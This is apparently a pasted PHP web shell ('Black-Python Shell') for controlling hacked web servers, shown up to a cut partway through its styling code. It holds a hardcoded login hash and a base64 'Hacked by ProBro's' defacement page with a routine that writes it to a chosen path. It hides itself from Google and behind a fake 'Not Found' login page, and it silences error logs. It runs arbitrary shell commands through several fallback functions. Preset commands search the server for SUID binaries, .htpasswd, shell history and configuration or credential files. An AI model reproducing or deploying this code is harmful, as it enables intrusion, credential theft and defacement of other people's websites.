· 8 years ago · Mar 22, 2018, 07:20 PM
1<?php
2
3
4
5/*
6 // Modified by Black Scorp
7*/
8$auth_pass= "02cce9e28a5e94d01b691b733cd5106c"; //Guess iT :V :v :V
9$deface = 'PGh0bWw+PGhlYWQ+PGxpbmsgcmVsPSJTSE9SVENVVCBJQ09OIiBocmVmPSJodHRwOi8vMy5icC5ibG9nc3BvdC5jb20vLTJndnotT2g1Nlk4L1VfSERiU0NLR2VJL0FBQUFBQUFBRTM0L0lWWENwRm1QekxjL3MxNjAwL1Bha2lzdGFuRmxhZ1dhbGxwYXBlci5qcGciPjx0aXRsZT4gSGFja2VkIEJ5IFByb0JybydzICZndDsmZ3Q7ICZsdDsmbHQ7PC90aXRsZT48ZW1iZWQgc3JjPSJodHRwczovL3d3dy55b3V0dWJlLmNvbS92L0VkRlVaZHJEUl84JiZhdXRvcGxheT0xIiB0eXBlPSJhcHBsaWNhdGlvbi94LXNob2Nrd2F2ZS1mbGFzaCIgd21vZGU9InRyYW5zcGFyZW50IiB3aWR0aD0iMSIgaGVpZ2h0PSIxIj48L2VtYmVkPjxzY3JpcHQ+YWxlcnQoIlByb0JybydzIFdhcyBUaGVyZSAsIFlvdSBBcmUgSGFja2VkIik8L3NjcmlwdD4NCjxtZXRhIG5hbWU9J2Rlc2NyaXB0aW9uJyBjb250ZW50PSdIYWNrZWQgQnkgNG5kcjN3IGFuZCA0MTN4IH4gR3JlZXR6OjogUjRCIU5EUjQgfiA0bmRyM3cgfiA0bmQgfiA0bDN4ICc+DQo8bWV0YSBuYW1lPSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4IFByb0JybydzIH4gVGhpbmsgRGFya2VyJz4gDQo8bWV0YSBodHRwLWVxdWl2PSdjb250ZW50LXR5cGUnIGNvbnRlbnQ9J3RleHQvaHRtbDtjaGFyc2V0PVVURi04Jz4NCjxtZXRhIG5hbWU9J2tleXdvcmRzJyBjb250ZW50PSdIYWNrZWQgYnkgNG5kcjN3IDRuZCA0MTN4LCBQcm9Ccm8ncywgU3BlY2lhbCBUaGFua3MgVG8gQUxJIEtIQU4gREVWSUwgS0lMTEVSLEJsYWNraWUgNG5kIDQxM3gsSGFja2VkIGJ5IFByb2JybydzLEhhY2tlZCBCeSA0bmRyM3csLDQxM3gsUHJvQnJvJ3MgV2FzIEhlcmUnPg0KPGxpbmsgcmVsPSdpY29uJyBocmVmPSdodHRwczovL3Njb250ZW50LmZpc2IzLTEuZm5hLmZiY2RuLm5ldC92L3QzMS4wLTgvMjYxMTQzNjRfMjgyOTIyNjI1NTY0NDAxXzU3MjY2MDY5NTE5NTI2ODAxMzhfby5wbmc/X25jX2V1aTI9djElM0FBZUctZWtCaEJSYWcwLXBPeEo1SmNxOVlUckJlV3NMNkpJX1VRWHZGemxDZ0tIbUQyS3d5LVZ4LWZaY1dsbjUyQXB0V3g0VGF6bjR0cXZJcUtzSmhKbENuel8tOGVvdGU3czloV3dySjU3Y1NFb2tXRkRRZXM0NTMxTnUwQU8zWU9rZyZvaD1lZDRlOTk1Mzk5NjM1MzQ0YWJiYTUwNDhiZjZhYzZmNyZvZT01QUM0N0NFQicgc2l6ZXM9JzE2eDE2Jz4gDQo8bWV0YSBjaGFyc2V0PSd1dGYtOCc+DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiIHNyYz0iaHR0cDovL2NvZGUuanF1ZXJ5LmNvbS9qcXVlcnktMi4xLjEuanMiPjwvc2NyaXB0Pg0KPGxpbmsgaHJlZj0iaHR0cDovL2ZvbnRzLmdvb2dsZWFwaXMuY29tL2Nzcz9mYW1pbHk9SWNlbGFuZCIgcmVsPSJzdHlsZXNoZWV0IiB0eXBlPSJ0ZXh0L2NzcyI+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPiANCmJvZHl7DQpiYWNrZ3JvdW5kOiAjRkZGRkZGOw0KZm9udC1mYW1pbHk6IHdpbmRzb25nOw0KZm9udC1zaXplOiAxMnB4Ow0KZm9udC13ZWlnaHQ6IGJvbGQ7DQpmb250LXNpemU6MTJweDsNCmZvbnQtc3R5bGU6IGJvbGQ7DQp9DQo8L3N0eWxlPg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPiANCiANCiAgICAgICAgdmFyIGNoYXJJbmRleCA9IC0xOw0KIA0KICAgICAgICB2YXIgc3RyaW5nTGVuZ3RoID0gMDsNCiANCiAgICAgICAgdmFyIGlucHV0VGV4dDsNCiANCiAgICAgICAgZnVuY3Rpb24gd3JpdGVDb250ZW50KGluaXQpDQogDQogICAgICAgIHsNCiANCiAgICAgICAgICBpZihpbml0KQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGlucHV0VGV4dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdjb250ZW50VG9Xcml0ZScpLmlubmVySFRNTDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgaWYoY2hhckluZGV4PT0tMSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjaGFySW5kZXggPSAwOw0KIA0KICAgICAgICAgICAgc3RyaW5nTGVuZ3RoID0gaW5wdXRUZXh0Lmxlbmd0aDsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgdmFyIGluaXRTdHJpbmcgPSBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MOw0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nLnJlcGxhY2UoLzxTUEFOLiokL2dpLCIiKTsNCiANCiANCiANCiAgICAgICAgICB2YXIgdGhlQ2hhciA9IGlucHV0VGV4dC5jaGFyQXQoY2hhckluZGV4KTsNCiANCiAgICAgICAgICB2YXIgbmV4dEZvdXJDaGFycyA9IGlucHV0VGV4dC5zdWJzdHIoY2hhckluZGV4LDQpOw0KIA0KICAgICAgICAgIGlmKG5leHRGb3VyQ2hhcnM9PSc8QlI+JyB8fCBuZXh0Rm91ckNoYXJzPT0nPGJyPicpDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgdGhlQ2hhciAgPSAnPEJSPic7DQogDQogICAgICAgICAgICBjaGFySW5kZXgrPTM7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGluaXRTdHJpbmcgPSBpbml0U3RyaW5nICsgdGhlQ2hhciArICI8U1BBTiBpZD0nYmxpbmsnPj48L1NQQU4+IjsNCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnbXlDb250ZW50JykuaW5uZXJIVE1MID0gaW5pdFN0cmluZzsNCiANCiANCiANCiAgICAgICAgICBjaGFySW5kZXggPSBjaGFySW5kZXgvMSArMTsNCiANCiAgICAgICAgICBpZihjaGFySW5kZXglMj09MSkNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5PSdub25lJzsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgICAgZWxzZQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdibGluaycpLnN0eWxlLmRpc3BsYXk9J2lubGluZSc7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGlmKGNoYXJJbmRleDw9c3RyaW5nTGVuZ3RoKQ0KIA0KICAgICAgICAgIHsNCiANCiAgICAgICAgICAgIHNldFRpbWVvdXQoJ3dyaXRlQ29udGVudChmYWxzZSknLDEwMCk7DQogDQogICAgICAgICAgfQ0KIA0KICAgICAgICAgIGVsc2UNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBibGlua1NwYW4oKTsNCiANCiAgICAgICAgICB9DQogDQogICAgICAgIH0NCiANCiAgICAgICAgdmFyIGN1cnJlbnRTdHlsZSA9ICdpbmxpbmUnOw0KIA0KICAgICAgICBmdW5jdGlvbiBibGlua1NwYW4oKQ0KIA0KICAgICAgICB7DQogDQogICAgICAgICAgaWYoY3VycmVudFN0eWxlPT0naW5saW5lJykNCiANCiAgICAgICAgICB7DQogDQogICAgICAgICAgICBjdXJyZW50U3R5bGU9J25vbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBlbHNlDQogDQogICAgICAgICAgew0KIA0KICAgICAgICAgICAgY3VycmVudFN0eWxlPSdpbmxpbmUnOw0KIA0KICAgICAgICAgIH0NCiANCiAgICAgICAgICBkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYmxpbmsnKS5zdHlsZS5kaXNwbGF5ID0gY3VycmVudFN0eWxlOw0KIA0KICAgICAgICAgIHNldFRpbWVvdXQoJ2JsaW5rU3BhbigpJyw0MDApOw0KIA0KICAgICAgICB9DQoNCiAgICAgICAgbXNnID0gIjw8IEhhY2tlZCBieSA0bmRyM3cgNG5kIDQxM3ggPj4iOw0KIA0KIA0KIA0KICAgICAgICBtc2cgPSAiICIgKyBtc2c7cG9zID0gMDsNCiANCiAgICAgICAgZnVuY3Rpb24gc2Nyb2xsTVNHKCkNCiANCiAgICAgICAgew0KIA0KICAgICAgICAgIGRvY3VtZW50LnRpdGxlID0gbXNnLnN1YnN0cmluZyhwb3MsIG1zZy5sZW5ndGgpICsgbXNnLnN1YnN0cmluZygwLCBwb3MpOw0KIA0KICAgICAgICAgIHBvcysrOw0KIA0KICAgICAgICAgIGlmIChwb3MgPiAgbXNnLmxlbmd0aCkgcG9zID0gMA0KIA0KICAgICAgICAgIHdpbmRvdy5zZXRUaW1lb3V0KCJzY3JvbGxNU0coKSIsMTAwKTsNCiANCiAgICAgICAgfQ0KIA0KICAgICAgICBzY3JvbGxNU0coKTsNCiANCiAgICAgIDwvc2NyaXB0Pg0KPHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcHQiPg0KDQpmdW5jdGlvbiBtaXNjaGFuZGxlcigpew0KcmV0dXJuIGZhbHNlOw0KfQ0KDQpmdW5jdGlvbiBtb3VzZWhhbmRsZXIoZSl7DQp2YXIgbXlldmVudCA9IChpc05TKSA/IGUgOiBldmVudDsNCnZhciBldmVudGJ1dHRvbiA9IChpc05TKSA/IG15ZXZlbnQud2hpY2ggOiBteWV2ZW50LmJ1dHRvbjsNCmlmKChldmVudGJ1dHRvbj09Mil8fChldmVudGJ1dHRvbj09MykpIHJldHVybiBmYWxzZTsNCn0NCmRvY3VtZW50Lm9uY29udGV4dG1lbnUgPSBtaXNjaGFuZGxlcjsNCmRvY3VtZW50Lm9ubW91c2Vkb3duID0gbW91c2VoYW5kbGVyOw0KZG9jdW1lbnQub25tb3VzZXVwID0gbW91c2VoYW5kbGVyOw0KdmFyIGlzQ3RybCA9IGZhbHNlOw0KICAgIGRvY3VtZW50Lm9ua2V5dXA9ZnVuY3Rpb24oZSkNCiAgICB7DQogICAgaWYoZS53aGljaCA9PSAxNykNCiAgICBpc0N0cmw9ZmFsc2U7DQogICAgfQ0KDQogICAgZG9jdW1lbnQub25rZXlkb3duPWZ1bmN0aW9uKGUpDQogICAgew0KICAgIGlmKGUud2hpY2ggPT0gMTcpDQogICAgaXNDdHJsPXRydWU7DQogICAgaWYoKGUud2hpY2ggPT0gODUpIHx8IChlLndoaWNoID09IDY3KSAmJiBpc0N0cmwgPT0gdHJ1ZSkNCiAgICB7DQogICAgLy8gYWxlcnQoJiM4MjE2O0tleWJvYXJkIHNob3J0Y3V0cyBhcmUgY29vbCEmIzgyMTc7KTsNCiAgICByZXR1cm4gZmFsc2U7DQogICAgfQ0KICAgIH0NCg0KDQo8L3NjcmlwdD4NCjxzdHlsZT4NCip7bWFyZ2luOiAwOyBwYWRkaW5nOiAwO30NCmJvZHkge2JhY2tncm91bmQ6ICMwMDAwMDA7IHNjcm9sbGJhci10cmFjay1jb2xvcjogIzAwMDAwMDtzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogIzAwMDAwMDsgc2Nyb2xsYmFyLWZhY2UtY29sb3I6ICMwMDAwMDA7IHNjcm9sbGJhci1zaGFkb3ctY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci1oaWdobGlnaHQtY29sb3I6ICNGRkZGRkY7IHNjcm9sbGJhci0zZGxpZ2h0LWNvbG9yOiAjMDAwMDAwOyAgc2Nyb2xsYmFyLWFycm93LWNvbG9yOiAjRkZGRkZGOyBjb2xvcjojOEU5NTlFIH0NCi5uYW1lIHsgdGV4dC1kZWNvcmF0aW9uOiBub25lO30NCkAtbW96LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1tb3otdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KQC1vLWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC1vLXRyYW5zZm9ybTogcm90YXRlKDE0NDBkZWcpOyB9IH0NCkAtd2Via2l0LWtleWZyYW1lcyByb2xsIHsgMTAwJSB7IC13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMTQ0MGRlZyk7IH0gfQ0KYm9keXstbW96LWFuaW1hdGlvbi1uYW1lOiByb2xsOw0KLW1vei1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW1vei1hbmltYXRpb24taXRlcmF0aW9uLWNvdW50OiAxOw0KLW8tYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotby1hbmltYXRpb24tZHVyYXRpb246IDZzOw0KLW8tYW5pbWF0aW9uLWl0ZXJhdGlvbi1jb3VudDogMTsNCi13ZWJraXQtYW5pbWF0aW9uLW5hbWU6IHJvbGw7DQotd2Via2l0LWFuaW1hdGlvbi1kdXJhdGlvbjogNXM7DQotd2Via2l0LWFuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6IDE7fQ0KPC9zdHlsZT4NCjxzY3JpcHQ+DQpmdW5jdGlvbiBkZXRhaWxzKCkge3dpbmRvdy5vcGVuKCIiKTt3aW5kb3cub3BlbigiIik7fTwvc2NyaXB0Pg0KDQo8YnI+PGJyPjxicj4NCg0KPHAgYWxpZ249ImNlbnRlciI+PGltZyBzcmM9Imh0dHBzOi8vc2NvbnRlbnQuZmlzYjMtMS5mbmEuZmJjZG4ubmV0L3YvdDEuMC05LzI0OTA5ODk2XzE4OTY3MDIzMTU4MjgyMl81NjU1MDQzNjYwNDQ3NjExOTQwX24uanBnP19uY19ldWkyPXYxJTNBQWVIMmFhTkhxVVRXcEZ3S0N1QzNPTU13dW1yVXhDY1BmeHBUdkQwSlB3Z3d1Q1VZTjVwX20tWEYzdHFiNEJzYmM0VUREdF9VOWg3U3NyZ2ZGSGFRd2owdkwxMDR0TEFMcEpvMTdyM0N2YUlQZ2RhcHF4bUx6Wl9pNVBJd2hOOWNhR2cmb2g9ZTY1NmUwOGY1MmMwYTE1NmVhNjljOWEyODk5N2I0MWImb2U9NUFGNUUwOEIiIHdpZHRoPSJhdXRvIiBoZWlnaHQ9IjMwMHB4Ij48L3A+DQo8YnI+PGJyPjxicj48YnI+PGJyPg0KPGNlbnRlcj4NCgkJCSA8Zm9udCBmYWNlPSJJY2VsYW5kIiBzaXplPSIxMDAiIGNvbG9yPSJncmVlbiI+DQoJCQkgPG1hcnF1ZWUgZGlyZWN0aW9uPSJsZWZ0IiBzY3JvbGxhbW91bnQ9IjE1IiBzY3JvbGxkZWxheT0iMTAwIiB3aWR0aD0iOTglIiBzdHlsZT0id2lkdGg6IDk4JTsiPg0KCQkJIDxoMT4gSGFja2VkIGJ5IDxzdHJvbmc+IFByPGZvbnQgY29sb3I9InJlZCI+bzwvZm9udD5Ccm8nczwvc3Ryb25nPjwvaDE+DQoJCQkgPC9tYXJxdWVlPg0KCQkJIDwvZm9udD4NCjwvY2VudGVyPg0KPGJyPjxicj48YnI+DQo8Y2VudGVyPjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJncmVlbiIgc2l6ZT0iMTIiPlByb0JybydzDQo8YnI+VGhpbmsgRGVlcGVyIDxmb250IGNvbG9yPSJyZWQiPlRoaW5rIERhcmtlcjwvZm9udD4gSGFja2VkIGJ5IEJsYWNrU2NvcnAgKDRuZHIzdykNCg0KPGJyPjxicj48YnI+PGJyPldlIERlZmVuZCAsIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBXZSBSZXZlbmdlLA0KPGJyPjxmb250IGNvbG9yPSJyZWQiIHNpemU9IjYiPsKpPC9mb250PiA8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjEyIj4gUHJvQnJvJ3M8Zm9udCBjb2xvcj0icmVkIj5IYWNrZXJzIDwvZm9udD4gQXJlIE5vdyBJbiBBY3Rpb248Zm9udCBjb2xvcj0iZ3JlZW4iPjwvZm9udD48YnI+PGJyPg0KDQo8Zm9udCBjb2xvcj0iZ3JlZW4iIHNpemU9IjYiPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+VGVhbSA6DQo8YnI+PC9mb250PiBCbGFjayBTY29ycCA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+ICA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TMDcwX0g0WDBSIHx8PGZvbnQgY29sb3I9InJlZCI+PC9mb250PiA0bDN4ICB8fDxmb250IGNvbG9yPSJyZWQiPjwvZm9udD4NCjxicj48Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TdWRpIHx8PGZvbnQgY29sb3I9InJlZCI+fHw8L2ZvbnQ+IEZyb3N0Qnl0ZSA8Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD5TaGsgVjNuMG08Zm9udCBjb2xvcj0icmVkIj58fDwvZm9udD4gU3BlY2lhbCBUaGFua3MgdG8gRGV2aWwgS2lsbGVyIDxmb250IGNvbG9yPSJyZWQiPnx8PC9mb250PiBBbGwgUHJvQnJvJ3MgVGVhbQ0KPGJyPiA8Zm9udCBjb2xvcj0icmVkIj48L2ZvbnQ+IA0KPGJyPjxmb250IGNvbG9yPSJyZWQiPiM8L2ZvbnQ+UHJvQnJvJ3MgSW4gQ29vbCBBY3Rpb24NCjxicj48Zm9udCBjb2xvcj0icmVkIj4jPC9mb250PkNvbnRhY3QgOiBodHRwczovL2ZhY2Vib29rLmNvbS88Zm9udCBjb2xvcj0icmVkIj5wcm88L2ZvbnQ+YnJvc3g8L2ZvbnQ+DQo8YnI+PGJyPjxicj4NCg0KDQo8cCBhbGlnbj0iY2VudGVyIj48Zm9udCBzaXplPSI2IiBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iY2MwMDAwIj48Zm9udCBjb2xvcj0id2hpdGUiPiAgICA8aW1nIHdpZHRoPSI3MDAiIGhlaWdodD0iOCIgYm9yZGVyPSIwIiBhbHQ9IiIgc3JjPSJodHRwOi8vd3d3Ni4wenowLmNvbS8yMDExLzAzLzE0LzA2LzI2OTIwNTk1Ny5naWYiPjxicj4NCjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMXB0Ij48Zm9udCBmYWNlPSJJY2VsYW5kIiBjb2xvcj0iRjBGOEZGICI+ICAgPC9mb250Pjxmb250IGZhY2U9IkljZWxhbmQiIGNvbG9yPSJ3aGl0ZSI+IDwvZm9udD4gICA8bWFycXVlZSB3aWR0aD0iNTAlIiBiZWhhdmlvcj0ic2Nyb2xsIiBkaXJlY3Rpb249ImxlZnQiIHNjcm9sbGFtb3VudD0iMiIgc2Nyb2xsZGVsYXk9IjIwIiBzdHlsZT0id2lkdGg6IDUwJTsiPg0KPGZvbnQgY29sb3I9ImdyZWVuIj48L2ZvbnQ+PGgxPjxmb250IGNvbG9yPSJncmVlbiI+fHw8L2ZvbnQ+IFByb0JybydzIC0gPGZvbnQgY29sb3I9ImdyZWVuIj53YXMgPC9mb250PlRoPGZvbnQgY29sb3I9ImdyZWVuIj5lcmU8L2ZvbnQ+IC4gWW91IEFyZSBTdGFtcGVkPGZvbnQgY29sb3I9ImdyZWVuIj58fDwvZm9udD48L2gxPjwvbWFycXVlZT4NCjxpbWcgd2lkdGg9IjcwMCIgaGVpZ2h0PSI4IiBib3JkZXI9IjAiIGFsdD0iIiBzcmM9Imh0dHA6Ly93d3c2LjB6ejAuY29tLzIwMTEvMDMvMTQvMDYvMjY5MjA1OTU3LmdpZiI+PGJyPg0KPC9mb250PjwvZm9udD48L3A+DQo8YnI+DQoNCg0KDQo8L2ZvbnQ+PC9jZW50ZXI+PC9mb250PjwvYm9keT48L2h0bWw+'; //deface in base64.
10 //Change Shell Theme here//
11$color = "#dedee2"; //Fonts color modify here.
12$Theme = '#706e35'; //Change border-color accoriding to your choice.
13$TabsColor = '#43592e'; //Change tabs color here.
14$default_action = 'FilesMan';
15@define('SELF_PATH', __FILE__);
16if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) {
17 header('HTTP/1.0 404 Not Found');
18 exit;
19}
20
21@session_start();
22@error_reporting(0);
23@ini_set('error_log',NULL);
24@ini_set('display_errors',0);
25@ini_set('log_errors',0);
26@ini_set('max_execution_time',0);
27@set_time_limit(0);
28@set_magic_quotes_runtime(0);
29if( get_magic_quotes_gpc() ) {
30 function stripslashes_array($array) {
31 return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array);
32 }
33 $_POST = stripslashes_array($_POST);
34}
35
36function blackscorplogin() {
37 die ('<!DOCTYPE html>
38<html>
39 <head>
40 <title>Not Found</title>
41 <meta charset="UTF-8">
42 <meta http-equiv="refresh" content=""> <!-- For Refreshing after ____ interval of time -->
43 <meta name="description" content="Sites description">
44 <meta name="about" content="Made By BlackScorp">
45
46 <meta name="description" content="Not Found">
47 <style>
48 .body {
49
50 text-transform: capitalize;
51
52
53
54 background-repeat:no-repeat;
55 background-position: center;
56 background-attachment: fixed;
57 -webkit-background-size: cover;
58 -moz-background-size: cover;
59 -o-background-size: cover;
60 background-size: cover;
61 }
62
63 .h1{ color=black;}
64 .font {
65 font-family: calibri;
66 font-size: 300%;
67 text-align: center;
68 color: white;
69 }
70 .upass {
71
72 font-family: calibri;
73 font-size: 100%;
74 text-align: center;
75 color: black;
76 }
77 .input {
78 margin:0;background-color:white;border:1px solid white;
79 }
80 </style>
81
82 </script>
83 </head>
84
85 <body class="body" oncontextmenu="return false;">
86<h1>Not Found</h1>
87
88<p>The requested URL was not found on this server</p>
89<p>Additionally, URL not Found error was encountered while trying to use an ErrorDocument to handle the request</p>
90 <div class="font">
91 <font></font><br>
92 </div>
93 <div class="upass">
94 <form method=post>
95 <input class="input" type="password" name="pass" size="25"/>
96 </form>
97 </div>
98 </body>
99</html>');
100}
101
102if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
103 if( empty( $auth_pass ) ||
104 ( isset( $_POST['pass'] ) && ( md5($_POST['pass']) == $auth_pass ) ) )
105 $_SESSION[md5($_SERVER['HTTP_HOST'])] = true;
106 else
107 blackscorplogin();
108
109if( strtolower( substr(PHP_OS,0,3) ) == "win" )
110 $os = 'win';
111else
112 $os = 'nix';
113$safe_mode = @ini_get('safe_mode');
114$disable_functions = @ini_get('disable_functions');
115$home_cwd = @getcwd();
116if( isset( $_POST['c'] ) )
117 @chdir($_POST['c']);
118$cwd = @getcwd();
119if( $os == 'win') {
120 $home_cwd = str_replace("\\", "/", $home_cwd);
121 $cwd = str_replace("\\", "/", $cwd);
122}
123if( $cwd[strlen($cwd)-1] != '/' )
124 $cwd .= '/';
125
126if($os == 'win') {
127 $aliases = array(
128 "List Directory" => "dir",
129 "Find index.php in current dir" => "dir /s /w /b index.php",
130 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
131 "Show active connections" => "netstat -an",
132 "Show running services" => "net start",
133 "User accounts" => "net user",
134 "Show computers" => "net view",
135 "ARP Table" => "arp -a",
136 "IP Configuration" => "ipconfig /all"
137 );
138} else {
139 $aliases = array(
140 "List dir" => "ls -la",
141 "list file attributes on a Linux second extended file system" => "lsattr -va",
142 "show opened ports" => "netstat -an | grep -i listen",
143 "Find" => "",
144 "find all suid files" => "find / -type f -perm -04000 -ls",
145 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
146 "find all sgid files" => "find / -type f -perm -02000 -ls",
147 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
148 "find config.inc.php files" => "find / -type f -name config.inc.php",
149 "find config* files" => "find / -type f -name \"config*\"",
150 "find config* files in current dir" => "find . -type f -name \"config*\"",
151 "find all writable folders and files" => "find / -perm -2 -ls",
152 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
153 "find all service.pwd files" => "find / -type f -name service.pwd",
154 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
155 "find all .htpasswd files" => "find / -type f -name .htpasswd",
156 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
157 "find all .bash_history files" => "find / -type f -name .bash_history",
158 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
159 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
160 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
161 "Locate" => "",
162 "locate httpd.conf files" => "locate httpd.conf",
163 "locate vhosts.conf files" => "locate vhosts.conf",
164 "locate proftpd.conf files" => "locate proftpd.conf",
165 "locate psybnc.conf files" => "locate psybnc.conf",
166 "locate my.conf files" => "locate my.conf",
167 "locate admin.php files" =>"locate admin.php",
168 "locate cfg.php files" => "locate cfg.php",
169 "locate conf.php files" => "locate conf.php",
170 "locate config.dat files" => "locate config.dat",
171 "locate config.php files" => "locate config.php",
172 "locate config.inc files" => "locate config.inc",
173 "locate config.inc.php" => "locate config.inc.php",
174 "locate config.default.php files" => "locate config.default.php",
175 "locate config* files " => "locate config",
176 "locate .conf files"=>"locate '.conf'",
177 "locate .pwd files" => "locate '.pwd'",
178 "locate .sql files" => "locate '.sql'",
179 "locate .htpasswd files" => "locate '.htpasswd'",
180 "locate .bash_history files" => "locate '.bash_history'",
181 "locate .mysql_history files" => "locate '.mysql_history'",
182 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
183 "locate backup files" => "locate backup",
184 "locate dump files" => "locate dump",
185 "locate priv files" => "locate priv"
186 );
187}
188 if(isset($_POST['p1']) && $_POST['p1']=='deface') {
189 $def = base64_decode($deface);
190 file_put_contents($_POST['c'].$_POST['p2'],$def);
191 }
192function ex($in) {
193 $out = '';
194 if(function_exists('exec')) {
195 @exec($in,$out);
196 $out = @join("\n",$out);
197 }elseif(function_exists('passthru')) {
198 ob_start();
199 @passthru($in);
200 $out = ob_get_clean();
201 }elseif(function_exists('system')) {
202 ob_start();
203 @system($in);
204 $out = ob_get_clean();
205 }elseif(function_exists('shell_exec')) {
206 $out = shell_exec($in);
207 }elseif(is_resource($f = @popen($in,"r"))) {
208 $out = "";
209 while(!@feof($f))
210 $out .= fread($f,1024);
211 pclose($f);
212 }
213 return $out;
214}
215
216function which($p) {
217 $path = ex('which '.$p);
218 if(!empty($path))
219 return $path;
220 return false;
221}
222
223function printHeader() {
224 if(empty($_POST['charset']))
225 $_POST['charset'] = "UTF-8";
226 global $color;
227 global $Theme;
228 global $TabsColor;
229 echo "<html><head><link href='https://scontent.fisb3-1.fna.fbcdn.net/v/t1.0-9/24909896_189670231582822_5655043660447611940_n.jpg?_nc_eui2=v1%3AAeH2aaNHqUTWpFwKCuC3OMMwumrUxCcPfxpTvD0JPwgwuCUYN5p_m-XF3tqb4Bsbc4UDDt_U9h7SsrgfFHaQwj0vL104tLALpJo17r3CvaIPgdapqxmLzZ_i5PIwhN9caGg&oh=e656e08f52c0a156ea69c9a28997b41b&oe=5AF5E08B' rel='Shortcut Icon' /><link href='https://fonts.googleapis.com/css?family=Josefin+Sans:400,100' rel='stylesheet' type='text/css'></head>";
230 echo '<html>
231<meta http-equiv="Content-Type" content="text/html; charset='.$_POST['charset'].'"><title>Black-Python Shell</title>
232<style>
233 body {background-color:black;color:#fff; background-image: url("https://s8.postimg.org/6qsto9xol/c3457c86fbb840d3900b59063b30c6e6.png");
234 background-color: #000000;
235 background-size:cover; }
236 body,td,th { font-family: Josefin Sans, sans-serif;font-size:13px;margin:0;vertical-align:top; }
237 span,h1,a { color:'.$color.' !important; }
238 span { font-weight: bolder; }
239 h1 { padding: 0px 5px;font: 14pt audiowide;margin:0px 0 0 0px; }
240 div.content { padding: 0px;margin:0 0px;background: #0F1010;border:1px solid '.$Theme.'; border-radius:5px;}
241 a { text-decoration:none; }
242 a:hover { border-bottom:0px solid #5e5e5e;text-decoration:none; }
243 a:hover{cursor: url("http://downloads.totallyfreecursors.com/cursor_files/pakistan.ani"), url("http://downloads.totallyfreecursors.com/thumbnails/PAKISTAN.gif"), auto;text-decoration:none;}
244 .ml1 { border:1px solid '.$Theme.';padding:px;margin:0;overflow: auto; }
245 .bigarea { width:100%;height:250px;margin-top:0px; border-radius:10px; border-color:'.$Theme.'; background:#2F2F2F;}
246 input, textarea, select { margin-top:0;color:#ffffd1;background-color:black;border-radius:5px;border:1px solid '.$Theme.'; border-radis:5px;font: 10pt arial,"Courier New"; }
247 input[type="button"]:hover,input[type="submit"]:hover {background-color:#ffffd1;color:black;text-decoration:none;}
248 form { margin:0px; background:#0F1010;}
249 #toolsTbl { text-align:center; }
250 .toolsInp { width: 80%; background:black; border-radius:5px; border-color:'.$Theme.'; }
251 .main th {text-align:left;background-color:'.$TabsColor.';}
252 .main tr:hover{background:#000000; border:5px solid;border-color:#000000;}
253 .main td, th{vertical-align:middle;}
254 .menu { height:30px; border-radius:10px;}
255 .menu th{padding:1px;border-radius: 5px; background:'.$TabsColor.'; -webkit-transform: rotate(20deg);
256 -moz-transform: rotate(20deg);
257 -o-transform: rotate(20deg);
258 -ms-transform: rotate(20deg);
259 transform: rotate(20deg);}
